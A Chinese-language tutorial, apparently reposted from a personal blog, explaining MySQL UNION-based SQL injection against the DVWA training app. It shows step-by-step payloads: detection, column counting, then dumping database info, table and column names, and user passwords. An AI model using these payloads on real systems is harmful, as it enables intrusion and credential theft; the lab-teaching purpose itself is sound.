ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-union注入

2020-07-01 19:02:58  阅读:225  来源: 互联网

标签:语句 结果 union 查询 sqli SELECT select 注入


目录

mysql中的union

语法:

SELECT ...
UNION [ALL | DISTINCT]
SELECT ...
[UNION [ALL | DISTINCT]
SELECT ...]
UNION用于把来自许多SELECT语句的结果组合到一个结果集合中。
列于每个SELECT语句的对应位置的被选择的列应具有相同的类型。(例如,被第一个语句选择的第一列应和被其它语句选择的第一列具有相同的类型。)在第一个SELECT语句中被使用的列名称也被用于结果的列名称。
只有最后一个SELECT语句可以使用INTO OUTFILE。

union注入

union注入,也叫联合查询注入
通常在order by判断SQL语句查询结果的列数后,使用union select 或其他语句来直接查询数据,数据直接回显。

条件

  1. 有回显
  2. 注入点带入的sql语句为查询(select)语句
  3. union联合的多个查询的结果,其列数相同且各列的数据类型也相同。所以,在注入点构造的查询语句,其结果的列数和各列的数据类型要和后端原有查询语句的结果的列数、类型相同。常用order by n(使结果集按第n列的顺序排列)判断后端原有查询语句的结果有多少列

出没处

所有可能带入查询语句的参数。
各种查询功能中的参数。

实践演示过程

  1. 判断是否存在注⼊,注⼊类型是数字型还是字符型
  • ⽅法⼀:单引号法
    报错,则有注入
    '
  • ⽅法⼆:逻辑法
    返回结果从有变无,则有注入
数字型:
and 1 
and 0
字符型:
1' and '1'='1 
1' and '1'='2
  • ⽅法三:运算法
    返回序号改变的结果,则有注入 ,数字型
-1
-0

1' and '1返回id=1的数据

1' and '0返回空

证明有注入,字符型
2. 猜字段
1' order by 2#

1' order by 3#

证明原查询语句的字段数为2
3. 获显位
1'union select 11,22#

证明原查询语句的2个字段都显示在页面上

如果只显示admin,则前端只显示查询结果集的第一行,可以用-1让union前的查询语句不出结果,让结果集第一行为union后的查询结果

  1. 获取数据/信息
  • 查当前数据库和数据库⽤户名
    -1' union select database(),user() #
  • 查当前的数据库版本和操作系统
    -1' union select version(),@@version_compile_os#

mysql不同版本一些细节也不同
MySQL版本⼩于4.0时,不⽀持union select联合查询
MySQL版本⼤于5.0时,有默认数据库information_schema,保存了 Mysql所有数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

  • 查当前库的表名
    -1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
  • 查某表的列名
    -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

group_concat能将属于users表的列名组合到一行显示

  • 查某表某列的值
    -1' union select user,password from users#

标签:语句,结果,union,查询,sqli,SELECT,select,注入
来源: https://www.cnblogs.com/Rain99-/p/13220952.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有